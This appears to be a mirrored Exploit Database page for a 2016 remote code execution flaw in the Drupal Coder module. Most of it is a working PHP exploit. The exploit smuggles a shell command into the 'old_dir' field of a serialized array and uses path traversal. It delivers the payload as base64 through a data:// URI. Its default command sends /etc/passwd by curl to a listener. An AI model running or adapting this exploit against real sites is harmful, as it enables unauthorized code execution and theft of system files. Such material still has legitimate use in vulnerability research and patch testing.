Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution

• Exploit Database
• 128 阅读

• 作者： Raz0r
  日期： 2016-07-23
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40144/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30

  <?php   # Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039) # https://www.drupal.org/node/2765575 # by Raz0r (http://raz0r.name) # # E-DB Note: Source ~ https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5   $cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd"; $host = "http://localhost:81/drupal-7.12/";   $a = array( "upgrades" => array( "coder_upgrade" => array( "module" => "color", "files" => array("color.module") ) ), "extensions" => array("module"), "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")), "paths" => array( "modules_base" => "../../../", "files_base" => "../../../../sites/default/files" ) ); $payload = serialize($a); file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));   ?>